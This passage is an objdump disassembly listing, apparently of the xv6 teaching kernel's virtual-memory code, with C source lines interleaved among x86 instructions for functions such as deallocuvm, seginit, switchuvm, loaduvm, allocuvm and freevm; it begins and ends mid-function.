801064eb: 83 c4 1c add $0x1c,%esp
return -1;
801064ee: b8 ff ff ff ff mov $0xffffffff,%eax
}
801064f3: 5b pop %ebx
801064f4: 5e pop %esi
801064f5: 5f pop %edi
801064f6: 5d pop %ebp
801064f7: c3 ret
801064f8: 83 c4 1c add $0x1c,%esp
return 0;
801064fb: 31 c0 xor %eax,%eax
}
801064fd: 5b pop %ebx
801064fe: 5e pop %esi
801064ff: 5f pop %edi
80106500: 5d pop %ebp
80106501: c3 ret
panic("remap");
80106502: c7 04 24 b8 77 10 80 movl $0x801077b8,(%esp)
80106509: e8 52 9e ff ff call 80100360 <panic>
8010650e: 66 90 xchg %ax,%ax
80106510 <deallocuvm.part.0>:
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106510: 55 push %ebp
80106511: 89 e5 mov %esp,%ebp
80106513: 57 push %edi
80106514: 89 c7 mov %eax,%edi
80106516: 56 push %esi
80106517: 89 d6 mov %edx,%esi
80106519: 53 push %ebx
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
8010651a: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106520: 83 ec 1c sub $0x1c,%esp
a = PGROUNDUP(newsz);
80106523: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < oldsz; a += PGSIZE){
80106529: 39 d3 cmp %edx,%ebx
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
8010652b: 89 4d e0 mov %ecx,-0x20(%ebp)
for(; a < oldsz; a += PGSIZE){
8010652e: 72 3b jb 8010656b <deallocuvm.part.0+0x5b>
80106530: eb 5e jmp 80106590 <deallocuvm.part.0+0x80>
80106532: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
80106538: 8b 10 mov (%eax),%edx
8010653a: f6 c2 01 test $0x1,%dl
8010653d: 74 22 je 80106561 <deallocuvm.part.0+0x51>
pa = PTE_ADDR(*pte);
if(pa == 0)
8010653f: 81 e2 00 f0 ff ff and $0xfffff000,%edx
80106545: 74 54 je 8010659b <deallocuvm.part.0+0x8b>
panic("kfree");
char *v = P2V(pa);
80106547: 81 c2 00 00 00 80 add $0x80000000,%edx
kfree(v);
8010654d: 89 14 24 mov %edx,(%esp)
80106550: 89 45 e4 mov %eax,-0x1c(%ebp)
80106553: e8 88 bd ff ff call 801022e0 <kfree>
*pte = 0;
80106558: 8b 45 e4 mov -0x1c(%ebp),%eax
8010655b: c7 00 00 00 00 00 movl $0x0,(%eax)
for(; a < oldsz; a += PGSIZE){
80106561: 81 c3 00 10 00 00 add $0x1000,%ebx
80106567: 39 f3 cmp %esi,%ebx
80106569: 73 25 jae 80106590 <deallocuvm.part.0+0x80>
pte = walkpgdir(pgdir, (char*)a, 0);
8010656b: 31 c9 xor %ecx,%ecx
8010656d: 89 da mov %ebx,%edx
8010656f: 89 f8 mov %edi,%eax
80106571: e8 8a fe ff ff call 80106400 <walkpgdir>
if(!pte)
80106576: 85 c0 test %eax,%eax
80106578: 75 be jne 80106538 <deallocuvm.part.0+0x28>
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
8010657a: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
80106580: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
for(; a < oldsz; a += PGSIZE){
80106586: 81 c3 00 10 00 00 add $0x1000,%ebx
8010658c: 39 f3 cmp %esi,%ebx
8010658e: 72 db jb 8010656b <deallocuvm.part.0+0x5b>
}
}
return newsz;
}
80106590: 8b 45 e0 mov -0x20(%ebp),%eax
80106593: 83 c4 1c add $0x1c,%esp
80106596: 5b pop %ebx
80106597: 5e pop %esi
80106598: 5f pop %edi
80106599: 5d pop %ebp
8010659a: c3 ret
panic("kfree");
8010659b: c7 04 24 a6 70 10 80 movl $0x801070a6,(%esp)
801065a2: e8 b9 9d ff ff call 80100360 <panic>
801065a7: 89 f6 mov %esi,%esi
801065a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801065b0 <seginit>:
{
801065b0: 55 push %ebp
801065b1: 89 e5 mov %esp,%ebp
801065b3: 83 ec 18 sub $0x18,%esp
c = &cpus[cpuid()];
801065b6: e8 b5 d0 ff ff call 80103670 <cpuid>
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801065bb: 31 c9 xor %ecx,%ecx
801065bd: ba ff ff ff ff mov $0xffffffff,%edx
c = &cpus[cpuid()];
801065c2: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax
801065c8: 05 80 27 11 80 add $0x80112780,%eax
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801065cd: 66 89 50 78 mov %dx,0x78(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801065d1: ba ff ff ff ff mov $0xffffffff,%edx
lgdt(c->gdt, sizeof(c->gdt));
801065d6: 83 c0 70 add $0x70,%eax
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801065d9: 66 89 48 0a mov %cx,0xa(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801065dd: 31 c9 xor %ecx,%ecx
801065df: 66 89 50 10 mov %dx,0x10(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801065e3: ba ff ff ff ff mov $0xffffffff,%edx
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801065e8: 66 89 48 12 mov %cx,0x12(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801065ec: 31 c9 xor %ecx,%ecx
801065ee: 66 89 50 18 mov %dx,0x18(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
801065f2: ba ff ff ff ff mov $0xffffffff,%edx
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801065f7: 66 89 48 1a mov %cx,0x1a(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
801065fb: 31 c9 xor %ecx,%ecx
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801065fd: c6 40 0d 9a movb $0x9a,0xd(%eax)
80106601: c6 40 0e cf movb $0xcf,0xe(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106605: c6 40 15 92 movb $0x92,0x15(%eax)
80106609: c6 40 16 cf movb $0xcf,0x16(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
8010660d: c6 40 1d fa movb $0xfa,0x1d(%eax)
80106611: c6 40 1e cf movb $0xcf,0x1e(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106615: c6 40 25 f2 movb $0xf2,0x25(%eax)
80106619: c6 40 26 cf movb $0xcf,0x26(%eax)
8010661d: 66 89 50 20 mov %dx,0x20(%eax)
pd[0] = size-1;
80106621: ba 2f 00 00 00 mov $0x2f,%edx
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106626: c6 40 0c 00 movb $0x0,0xc(%eax)
8010662a: c6 40 0f 00 movb $0x0,0xf(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
8010662e: c6 40 14 00 movb $0x0,0x14(%eax)
80106632: c6 40 17 00 movb $0x0,0x17(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106636: c6 40 1c 00 movb $0x0,0x1c(%eax)
8010663a: c6 40 1f 00 movb $0x0,0x1f(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
8010663e: 66 89 48 22 mov %cx,0x22(%eax)
80106642: c6 40 24 00 movb $0x0,0x24(%eax)
80106646: c6 40 27 00 movb $0x0,0x27(%eax)
8010664a: 66 89 55 f2 mov %dx,-0xe(%ebp)
pd[1] = (uint)p;
8010664e: 66 89 45 f4 mov %ax,-0xc(%ebp)
pd[2] = (uint)p >> 16;
80106652: c1 e8 10 shr $0x10,%eax
80106655: 66 89 45 f6 mov %ax,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
80106659: 8d 45 f2 lea -0xe(%ebp),%eax
8010665c: 0f 01 10 lgdtl (%eax)
}
8010665f: c9 leave
80106660: c3 ret
80106661: eb 0d jmp 80106670 <switchkvm>
80106663: 90 nop
80106664: 90 nop
80106665: 90 nop
80106666: 90 nop
80106667: 90 nop
80106668: 90 nop
80106669: 90 nop
8010666a: 90 nop
8010666b: 90 nop
8010666c: 90 nop
8010666d: 90 nop
8010666e: 90 nop
8010666f: 90 nop
80106670 <switchkvm>:
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106670: a1 a4 55 11 80 mov 0x801155a4,%eax
{
80106675: 55 push %ebp
80106676: 89 e5 mov %esp,%ebp
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106678: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
8010667d: 0f 22 d8 mov %eax,%cr3
}
80106680: 5d pop %ebp
80106681: c3 ret
80106682: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106690 <switchuvm>:
{
80106690: 55 push %ebp
80106691: 89 e5 mov %esp,%ebp
80106693: 57 push %edi
80106694: 56 push %esi
80106695: 53 push %ebx
80106696: 83 ec 1c sub $0x1c,%esp
80106699: 8b 75 08 mov 0x8(%ebp),%esi
if(p == 0)
8010669c: 85 f6 test %esi,%esi
8010669e: 0f 84 cd 00 00 00 je 80106771 <switchuvm+0xe1>
if(p->kstack == 0)
801066a4: 8b 46 08 mov 0x8(%esi),%eax
801066a7: 85 c0 test %eax,%eax
801066a9: 0f 84 da 00 00 00 je 80106789 <switchuvm+0xf9>
if(p->pgdir == 0)
801066af: 8b 7e 04 mov 0x4(%esi),%edi
801066b2: 85 ff test %edi,%edi
801066b4: 0f 84 c3 00 00 00 je 8010677d <switchuvm+0xed>
pushcli();
801066ba: e8 31 da ff ff call 801040f0 <pushcli>
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
801066bf: e8 2c cf ff ff call 801035f0 <mycpu>
801066c4: 89 c3 mov %eax,%ebx
801066c6: e8 25 cf ff ff call 801035f0 <mycpu>
801066cb: 89 c7 mov %eax,%edi
801066cd: e8 1e cf ff ff call 801035f0 <mycpu>
801066d2: 83 c7 08 add $0x8,%edi
801066d5: 89 45 e4 mov %eax,-0x1c(%ebp)
801066d8: e8 13 cf ff ff call 801035f0 <mycpu>
801066dd: 8b 4d e4 mov -0x1c(%ebp),%ecx
801066e0: ba 67 00 00 00 mov $0x67,%edx
801066e5: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx)
801066ec: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx)
801066f3: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx)
801066fa: 83 c1 08 add $0x8,%ecx
801066fd: c1 e9 10 shr $0x10,%ecx
80106700: 83 c0 08 add $0x8,%eax
80106703: c1 e8 18 shr $0x18,%eax
80106706: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx)
8010670c: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx)
80106713: 88 83 9f 00 00 00 mov %al,0x9f(%ebx)
mycpu()->ts.iomb = (ushort) 0xFFFF;
80106719: bb ff ff ff ff mov $0xffffffff,%ebx
mycpu()->gdt[SEG_TSS].s = 0;
8010671e: e8 cd ce ff ff call 801035f0 <mycpu>
80106723: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax)
mycpu()->ts.ss0 = SEG_KDATA << 3;
8010672a: e8 c1 ce ff ff call 801035f0 <mycpu>
8010672f: b9 10 00 00 00 mov $0x10,%ecx
80106734: 66 89 48 10 mov %cx,0x10(%eax)
mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
80106738: e8 b3 ce ff ff call 801035f0 <mycpu>
8010673d: 8b 56 08 mov 0x8(%esi),%edx
80106740: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx
80106746: 89 48 0c mov %ecx,0xc(%eax)
mycpu()->ts.iomb = (ushort) 0xFFFF;
80106749: e8 a2 ce ff ff call 801035f0 <mycpu>
8010674e: 66 89 58 6e mov %bx,0x6e(%eax)
asm volatile("ltr %0" : : "r" (sel));
80106752: b8 28 00 00 00 mov $0x28,%eax
80106757: 0f 00 d8 ltr %ax
lcr3(V2P(p->pgdir)); // switch to process's address space
8010675a: 8b 46 04 mov 0x4(%esi),%eax
8010675d: 05 00 00 00 80 add $0x80000000,%eax
asm volatile("movl %0,%%cr3" : : "r" (val));
80106762: 0f 22 d8 mov %eax,%cr3
}
80106765: 83 c4 1c add $0x1c,%esp
80106768: 5b pop %ebx
80106769: 5e pop %esi
8010676a: 5f pop %edi
8010676b: 5d pop %ebp
popcli();
8010676c: e9 3f da ff ff jmp 801041b0 <popcli>
panic("switchuvm: no process");
80106771: c7 04 24 be 77 10 80 movl $0x801077be,(%esp)
80106778: e8 e3 9b ff ff call 80100360 <panic>
panic("switchuvm: no pgdir");
8010677d: c7 04 24 e9 77 10 80 movl $0x801077e9,(%esp)
80106784: e8 d7 9b ff ff call 80100360 <panic>
panic("switchuvm: no kstack");
80106789: c7 04 24 d4 77 10 80 movl $0x801077d4,(%esp)
80106790: e8 cb 9b ff ff call 80100360 <panic>
80106795: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106799: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801067a0 <inituvm>:
{
801067a0: 55 push %ebp
801067a1: 89 e5 mov %esp,%ebp
801067a3: 57 push %edi
801067a4: 56 push %esi
801067a5: 53 push %ebx
801067a6: 83 ec 1c sub $0x1c,%esp
801067a9: 8b 75 10 mov 0x10(%ebp),%esi
801067ac: 8b 45 08 mov 0x8(%ebp),%eax
801067af: 8b 7d 0c mov 0xc(%ebp),%edi
if(sz >= PGSIZE)
801067b2: 81 fe ff 0f 00 00 cmp $0xfff,%esi
{
801067b8: 89 45 e4 mov %eax,-0x1c(%ebp)
if(sz >= PGSIZE)
801067bb: 77 54 ja 80106811 <inituvm+0x71>
mem = kalloc();
801067bd: e8 ce bc ff ff call 80102490 <kalloc>
memset(mem, 0, PGSIZE);
801067c2: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801067c9: 00
801067ca: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801067d1: 00
mem = kalloc();
801067d2: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
801067d4: 89 04 24 mov %eax,(%esp)
801067d7: e8 94 da ff ff call 80104270 <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
801067dc: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801067e2: b9 00 10 00 00 mov $0x1000,%ecx
801067e7: 89 04 24 mov %eax,(%esp)
801067ea: 8b 45 e4 mov -0x1c(%ebp),%eax
801067ed: 31 d2 xor %edx,%edx
801067ef: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp)
801067f6: 00
801067f7: e8 94 fc ff ff call 80106490 <mappages>
memmove(mem, init, sz);
801067fc: 89 75 10 mov %esi,0x10(%ebp)
801067ff: 89 7d 0c mov %edi,0xc(%ebp)
80106802: 89 5d 08 mov %ebx,0x8(%ebp)
}
80106805: 83 c4 1c add $0x1c,%esp
80106808: 5b pop %ebx
80106809: 5e pop %esi
8010680a: 5f pop %edi
8010680b: 5d pop %ebp
memmove(mem, init, sz);
8010680c: e9 ff da ff ff jmp 80104310 <memmove>
panic("inituvm: more than a page");
80106811: c7 04 24 fd 77 10 80 movl $0x801077fd,(%esp)
80106818: e8 43 9b ff ff call 80100360 <panic>
8010681d: 8d 76 00 lea 0x0(%esi),%esi
80106820 <loaduvm>:
{
80106820: 55 push %ebp
80106821: 89 e5 mov %esp,%ebp
80106823: 57 push %edi
80106824: 56 push %esi
80106825: 53 push %ebx
80106826: 83 ec 1c sub $0x1c,%esp
if((uint) addr % PGSIZE != 0)
80106829: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
80106830: 0f 85 98 00 00 00 jne 801068ce <loaduvm+0xae>
for(i = 0; i < sz; i += PGSIZE){
80106836: 8b 75 18 mov 0x18(%ebp),%esi
80106839: 31 db xor %ebx,%ebx
8010683b: 85 f6 test %esi,%esi
8010683d: 75 1a jne 80106859 <loaduvm+0x39>
8010683f: eb 77 jmp 801068b8 <loaduvm+0x98>
80106841: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106848: 81 c3 00 10 00 00 add $0x1000,%ebx
8010684e: 81 ee 00 10 00 00 sub $0x1000,%esi
80106854: 39 5d 18 cmp %ebx,0x18(%ebp)
80106857: 76 5f jbe 801068b8 <loaduvm+0x98>
80106859: 8b 55 0c mov 0xc(%ebp),%edx
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
8010685c: 31 c9 xor %ecx,%ecx
8010685e: 8b 45 08 mov 0x8(%ebp),%eax
80106861: 01 da add %ebx,%edx
80106863: e8 98 fb ff ff call 80106400 <walkpgdir>
80106868: 85 c0 test %eax,%eax
8010686a: 74 56 je 801068c2 <loaduvm+0xa2>
pa = PTE_ADDR(*pte);
8010686c: 8b 00 mov (%eax),%eax
n = PGSIZE;
8010686e: bf 00 10 00 00 mov $0x1000,%edi
80106873: 8b 4d 14 mov 0x14(%ebp),%ecx
pa = PTE_ADDR(*pte);
80106876: 25 00 f0 ff ff and $0xfffff000,%eax
n = PGSIZE;
8010687b: 81 fe 00 10 00 00 cmp $0x1000,%esi
80106881: 0f 42 fe cmovb %esi,%edi
if(readi(ip, P2V(pa), offset+i, n) != n)
80106884: 05 00 00 00 80 add $0x80000000,%eax
80106889: 89 44 24 04 mov %eax,0x4(%esp)
8010688d: 8b 45 10 mov 0x10(%ebp),%eax
80106890: 01 d9 add %ebx,%ecx
80106892: 89 7c 24 0c mov %edi,0xc(%esp)
80106896: 89 4c 24 08 mov %ecx,0x8(%esp)
8010689a: 89 04 24 mov %eax,(%esp)
8010689d: e8 ae b0 ff ff call 80101950 <readi>
801068a2: 39 f8 cmp %edi,%eax
801068a4: 74 a2 je 80106848 <loaduvm+0x28>
}
801068a6: 83 c4 1c add $0x1c,%esp
return -1;
801068a9: b8 ff ff ff ff mov $0xffffffff,%eax
}
801068ae: 5b pop %ebx
801068af: 5e pop %esi
801068b0: 5f pop %edi
801068b1: 5d pop %ebp
801068b2: c3 ret
801068b3: 90 nop
801068b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801068b8: 83 c4 1c add $0x1c,%esp
return 0;
801068bb: 31 c0 xor %eax,%eax
}
801068bd: 5b pop %ebx
801068be: 5e pop %esi
801068bf: 5f pop %edi
801068c0: 5d pop %ebp
801068c1: c3 ret
panic("loaduvm: address should exist");
801068c2: c7 04 24 17 78 10 80 movl $0x80107817,(%esp)
801068c9: e8 92 9a ff ff call 80100360 <panic>
panic("loaduvm: addr must be page aligned");
801068ce: c7 04 24 b8 78 10 80 movl $0x801078b8,(%esp)
801068d5: e8 86 9a ff ff call 80100360 <panic>
801068da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801068e0 <allocuvm>:
{
801068e0: 55 push %ebp
801068e1: 89 e5 mov %esp,%ebp
801068e3: 57 push %edi
801068e4: 56 push %esi
801068e5: 53 push %ebx
801068e6: 83 ec 1c sub $0x1c,%esp
801068e9: 8b 7d 10 mov 0x10(%ebp),%edi
if(newsz >= KERNBASE)
801068ec: 85 ff test %edi,%edi
801068ee: 0f 88 7e 00 00 00 js 80106972 <allocuvm+0x92>
if(newsz < oldsz)
801068f4: 3b 7d 0c cmp 0xc(%ebp),%edi
return oldsz;
801068f7: 8b 45 0c mov 0xc(%ebp),%eax
if(newsz < oldsz)
801068fa: 72 78 jb 80106974 <allocuvm+0x94>
a = PGROUNDUP(oldsz);
801068fc: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80106902: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < newsz; a += PGSIZE){
80106908: 39 df cmp %ebx,%edi
8010690a: 77 4a ja 80106956 <allocuvm+0x76>
8010690c: eb 72 jmp 80106980 <allocuvm+0xa0>
8010690e: 66 90 xchg %ax,%ax
memset(mem, 0, PGSIZE);
80106910: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106917: 00
80106918: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010691f: 00
80106920: 89 04 24 mov %eax,(%esp)
80106923: e8 48 d9 ff ff call 80104270 <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
80106928: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
8010692e: b9 00 10 00 00 mov $0x1000,%ecx
80106933: 89 04 24 mov %eax,(%esp)
80106936: 8b 45 08 mov 0x8(%ebp),%eax
80106939: 89 da mov %ebx,%edx
8010693b: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp)
80106942: 00
80106943: e8 48 fb ff ff call 80106490 <mappages>
80106948: 85 c0 test %eax,%eax
8010694a: 78 44 js 80106990 <allocuvm+0xb0>
for(; a < newsz; a += PGSIZE){
8010694c: 81 c3 00 10 00 00 add $0x1000,%ebx
80106952: 39 df cmp %ebx,%edi
80106954: 76 2a jbe 80106980 <allocuvm+0xa0>
mem = kalloc();
80106956: e8 35 bb ff ff call 80102490 <kalloc>
if(mem == 0){
8010695b: 85 c0 test %eax,%eax
mem = kalloc();
8010695d: 89 c6 mov %eax,%esi
if(mem == 0){
8010695f: 75 af jne 80106910 <allocuvm+0x30>
cprintf("allocuvm out of memory\n");
80106961: c7 04 24 35 78 10 80 movl $0x80107835,(%esp)
80106968: e8 e3 9c ff ff call 80100650 <cprintf>
if(newsz >= oldsz)
8010696d: 3b 7d 0c cmp 0xc(%ebp),%edi
80106970: 77 48 ja 801069ba <allocuvm+0xda>
return 0;
80106972: 31 c0 xor %eax,%eax
}
80106974: 83 c4 1c add $0x1c,%esp
80106977: 5b pop %ebx
80106978: 5e pop %esi
80106979: 5f pop %edi
8010697a: 5d pop %ebp
8010697b: c3 ret
8010697c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106980: 83 c4 1c add $0x1c,%esp
80106983: 89 f8 mov %edi,%eax
80106985: 5b pop %ebx
80106986: 5e pop %esi
80106987: 5f pop %edi
80106988: 5d pop %ebp
80106989: c3 ret
8010698a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cprintf("allocuvm out of memory (2)\n");
80106990: c7 04 24 4d 78 10 80 movl $0x8010784d,(%esp)
80106997: e8 b4 9c ff ff call 80100650 <cprintf>
if(newsz >= oldsz)
8010699c: 3b 7d 0c cmp 0xc(%ebp),%edi
8010699f: 76 0d jbe 801069ae <allocuvm+0xce>
801069a1: 8b 4d 0c mov 0xc(%ebp),%ecx
801069a4: 89 fa mov %edi,%edx
801069a6: 8b 45 08 mov 0x8(%ebp),%eax
801069a9: e8 62 fb ff ff call 80106510 <deallocuvm.part.0>
kfree(mem);
801069ae: 89 34 24 mov %esi,(%esp)
801069b1: e8 2a b9 ff ff call 801022e0 <kfree>
return 0;
801069b6: 31 c0 xor %eax,%eax
801069b8: eb ba jmp 80106974 <allocuvm+0x94>
801069ba: 8b 4d 0c mov 0xc(%ebp),%ecx
801069bd: 89 fa mov %edi,%edx
801069bf: 8b 45 08 mov 0x8(%ebp),%eax
801069c2: e8 49 fb ff ff call 80106510 <deallocuvm.part.0>
return 0;
801069c7: 31 c0 xor %eax,%eax
801069c9: eb a9 jmp 80106974 <allocuvm+0x94>
801069cb: 90 nop
801069cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801069d0 <deallocuvm>:
{
801069d0: 55 push %ebp
801069d1: 89 e5 mov %esp,%ebp
801069d3: 8b 55 0c mov 0xc(%ebp),%edx
801069d6: 8b 4d 10 mov 0x10(%ebp),%ecx
801069d9: 8b 45 08 mov 0x8(%ebp),%eax
if(newsz >= oldsz)
801069dc: 39 d1 cmp %edx,%ecx
801069de: 73 08 jae 801069e8 <deallocuvm+0x18>
}
801069e0: 5d pop %ebp
801069e1: e9 2a fb ff ff jmp 80106510 <deallocuvm.part.0>
801069e6: 66 90 xchg %ax,%ax
801069e8: 89 d0 mov %edx,%eax
801069ea: 5d pop %ebp
801069eb: c3 ret
801069ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801069f0 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
801069f0: 55 push %ebp
801069f1: 89 e5 mov %esp,%ebp
801069f3: 56 push %esi
801069f4: 53 push %ebx
801069f5: 83 ec 10 sub $0x10,%esp
801069f8: 8b 75 08 mov 0x8(%ebp),%esi
uint i;
if(pgdir == 0)
801069fb: 85 f6 test %esi,%esi
801069fd: 74 59 je 80106a58 <freevm+0x68>
801069ff: 31 c9 xor %ecx,%ecx
80106a01: ba 00 00 00 80 mov $0x80000000,%edx
80106a06: 89 f0 mov %esi,%eax
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106a08: 31 db xor %ebx,%ebx
80106a0a: e8 01 fb ff ff call 80106510 <deallocuvm.part.0>
80106a0f: eb 12 jmp 80106a23 <freevm+0x33>
80106a11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106a18: 83 c3 01 add $0x1,%ebx
80106a1b: 81 fb 00 04 00 00 cmp $0x400,%ebx
80106a21: 74 27 je 80106a4a <freevm+0x5a>
if(pgdir[i] & PTE_P){
80106a23: 8b 14 9e mov (%esi,%ebx,4),%edx
80106a26: f6 c2 01 test $0x1,%dl
80106a29: 74 ed je 80106a18 <freevm+0x28>
char * v = P2V(PTE_ADDR(pgdir[i]));
80106a2b: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(i = 0; i < NPDENTRIES; i++){
80106a31: 83 c3 01 add $0x1,%ebx
char * v = P2V(PTE_ADDR(pgdir[i]));
80106a34: 81 c2 00 00 00 80 add $0x80000000,%edx
kfree(v);
80106a3a: 89 14 24 mov %edx,(%esp)
80106a3d: e8 9e b8 ff ff call 801022e0 <kfree>
for(i = 0; i < NPDENTRIES; i++){
80106a42: 81 fb 00 04 00 00 cmp $0x400,%ebx
80106a48: 75 d9 jne 80106a23 <freevm+0x33>
}
}
kfree((char*)pgdir);
80106a4a: 89 75 08 mov %esi,0x8(%ebp)
}
80106a4d: 83 c4 10 add $0x10,%esp
80106a50: 5b pop %ebx
80106a51: 5e pop %esi
80106a52: 5d pop %ebp
kfree((char*)pgdir);
80106a53: e9 88 b8 ff ff jmp 801022e0 <kfree>
panic("freevm: no pgdir");
80106a58: c7 04 24 69 78 10 80 movl $0x80107869,(%esp)
80106a5f: e8 fc 98 ff ff call 80100360 <panic>
80106a64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106a6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106a70 <setupkvm>:
{
80106a70: 55 push %ebp
80106a71: 89 e5 mov %esp,%ebp
80106a73: 56 push %esi
80106a74: 53 push %ebx
80106a75: 83 ec 10 sub $0x10,%esp
if((pgdir = (pde_t*)kalloc()) == 0)
80106a78: e8 13 ba ff ff call 80102490 <kalloc>
80106a7d: 85 c0 test %eax,%eax
80106a7f: 89 c6 mov %eax,%esi
80106a81: 74 6d je 80106af0 <setupkvm+0x80>
memset(pgdir, 0, PGSIZE);
80106a83: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106a8a: 00
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106a8b: bb 20 a4 10 80 mov $0x8010a420,%ebx
memset(pgdir, 0, PGSIZE);
80106a90: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106a97: 00
80106a98: 89 04 24 mov %eax,(%esp)
80106a9b: e8 d0 d7 ff ff call 80104270 <memset>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80106aa0: 8b 53 0c mov 0xc(%ebx),%edx
80106aa3: 8b 43 04 mov 0x4(%ebx),%eax
80106aa6: 8b 4b 08 mov 0x8(%ebx),%ecx
80106aa9: 89 54 24 04 mov %edx,0x4(%esp)
80106aad: 8b 13 mov (%ebx),%edx
80106aaf: 89 04 24 mov %eax,(%esp)
80106ab2: 29 c1 sub %eax,%ecx
80106ab4: 89 f0 mov %esi,%eax
80106ab6: e8 d5 f9 ff ff call 80106490 <mappages>
80106abb: 85 c0 test %eax,%eax
80106abd: 78 19 js 80106ad8 <setupkvm+0x68>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106abf: 83 c3 10 add $0x10,%ebx
80106ac2: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80106ac8: 72 d6 jb 80106aa0 <setupkvm+0x30>
80106aca: 89 f0 mov %esi,%eax
}
